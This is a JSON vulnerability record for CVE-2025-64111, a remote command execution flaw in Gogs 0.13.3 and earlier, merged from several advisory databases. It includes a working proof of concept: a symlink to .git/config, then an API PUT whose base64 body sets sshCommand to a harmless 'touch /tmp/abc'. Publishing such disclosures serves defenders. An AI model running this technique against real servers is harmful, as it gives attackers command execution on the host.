{"id":"CVE-2025-64111","aliases":["CVE-2025-64111","GHSA-gg64-xxr9-qhjp","GO-2026-4448"],"related":[],"kind":"vulnerability","state":"published","title":"Gogs's update .git/config file allows remote command execution","summary":"Gogs is an open source self-hosted Git service. In version 0.13.3 and prior, due to the insufficient patch for CVE-2024-56731, it's still possible to update files in the .git directory and achieve remote command execution. This issue has been patched in versions 0.13.4 and 0.14.0+dev.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Gogs is an open source self-hosted Git service. In version 0.13.3 and prior, due to the insufficient patch for CVE-2024-56731, it's still possible to update files in the .git directory and achieve remote command execution. This issue has been patched in versions 0.13.4 and 0.14.0+dev.","source":"cvelist"},{"lang":"en","text":"### Summary\nDue to the insufficient patch for the https://github.com/gogs/gogs/security/advisories/GHSA-wj44-9vcg-wjq7, it's still possible to update files in the `.git` directory and achieve remote command execution.\n\n### Details\nFunction `UpdateRepoFile` security check under some if conditions. While UpdateRepoFile call in API router  will NOT match any of them.  It's still possible to update `.git/config` file via API router.\nhttps://github.com/gogs/gogs/blob/d940e692ec58abd45e648c054d7dfd88909034ec/internal/route/api/v1/repo/contents.go#L197-L206\n\n\n\n### PoC\n```bash\n# add a symlink file and push to repo.\nln -s .git/config link\ngit add link\ngit commit -m 'add' && git push\n```\n\nUpdate file via API router\n```http\nPUT /api/v1/repos/demo/vul/contents/link HTTP/1.1\nContent-Type: application/json\nHost: localhost:3000\nAuthorization: token {token}\n\n{\"message\":\"message\",\"committer\":{\"name\":\"test\",\"email\":\"a@b.com\"},\"content\":\"W2NvcmVdCglyZXBvc2l0b3J5Zm9ybWF0dmVyc2lvbiA9IDAKCWZpbGVtb2RlID0gdHJ1ZQoJYmFyZSA9IGZhbHNlCglsb2dhbGxyZWZ1cGRhdGVzID0gdHJ1ZQoJaWdub3JlY2FzZSA9IHRydWUKCXByZWNvbXBvc2V1bmljb2RlID0gdHJ1ZQoJc3NoQ29tbWFuZCA9IHRvdWNoIC90bXAvYWJjCltyZW1vdGUgIm9yaWdpbiJdCgl1cmwgPSBzc2g6Ly9naXRAbG9jYWxob3N0L2RlbW8vdnVsLmdpdAoJZmV0Y2ggPSArcmVmcy9oZWFkcy8qOnJlZnMvcmVtb3Rlcy9vcmlnaW4vKgpbYnJhbmNoICJtYXN0ZXIiXQoJcmVtb3RlID0gb3JpZ2luCgltZXJnZSA9IHJlZnMvaGVhZHMvbWFzdGVy\"}\n```\n\n### Impact\nRCE","format":"markdown","source":"ghsa"},{"lang":"en","text":"Gogs's update .git/config file allows remote command execution in gogs.io/gogs.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: gogs.io/gogs before v0.13.4.","format":"markdown","source":"go"},{"lang":"es","text":"Gogs es un servicio Git autoalojado de código abierto. En la versión 0.13.3 y anteriores, debido al parche insuficiente para CVE-2024-56731, todavía es posible actualizar archivos en el directorio .git y lograr la ejecución remota de comandos. Este problema ha sido parcheado en las versiones 0.13.4 y 0.14.0+dev.","source":"nvd"}],"published":"2026-02-06T16:58:01.853Z","modified":"2026-06-17T09:53:50.670Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.3,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.3,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"}],"cwes":["CWE-78"],"affected":[{"ranges":[{"version":"< 0.14.0+dev","status":"affected"},{"version":"< 0.13.4","status":"affected"}],"vendor":"gogs","product":"gogs","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.13.4"}],"ecosystem":"Go","package":"gogs.io/gogs","purl":"pkg:golang/gogs.io/gogs","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"gogs.io/gogs","purl":"pkg:golang/gogs.io/gogs","source":"go"},{"ranges":[{"status":"affected","fixed":"0.13.4"}],"vendor":"gogs","product":"gogs","cpe":"cpe:2.3:a:gogs:gogs:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/gogs/gogs/security/advisories/GHSA-gg64-xxr9-qhjp","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-64111","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/gogs/gogs","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/gogs/gogs/blob/d940e692ec58abd45e648c054d7dfd88909034ec/internal/route/api/v1/repo/contents.go#L197-L206","tags":["web"],"sources":["ghsa","go"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-02-07T04:55:21.593Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-64111","url":"https://www.cve.org/CVERecord?id=CVE-2025-64111","licence":"CVE Terms of Use","modified":"2026-02-26T15:04:16.022Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-gg64-xxr9-qhjp","url":"https://github.com/advisories/GHSA-gg64-xxr9-qhjp","licence":"CC-BY-4.0","modified":"2026-02-19T20:41:17.887Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-4448","url":"https://pkg.go.dev/vuln/GO-2026-4448","licence":"CC-BY-4.0","modified":"2026-02-19T20:41:17.887Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-64111","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-64111","licence":"Public domain","modified":"2026-06-17T09:53:50.670Z"}],"updatedAt":"2026-11-25T22:59:11.080Z","epss":{"score":0.01394,"percentile":0.72603,"date":"2026-11-30T12:00:22.000Z"}}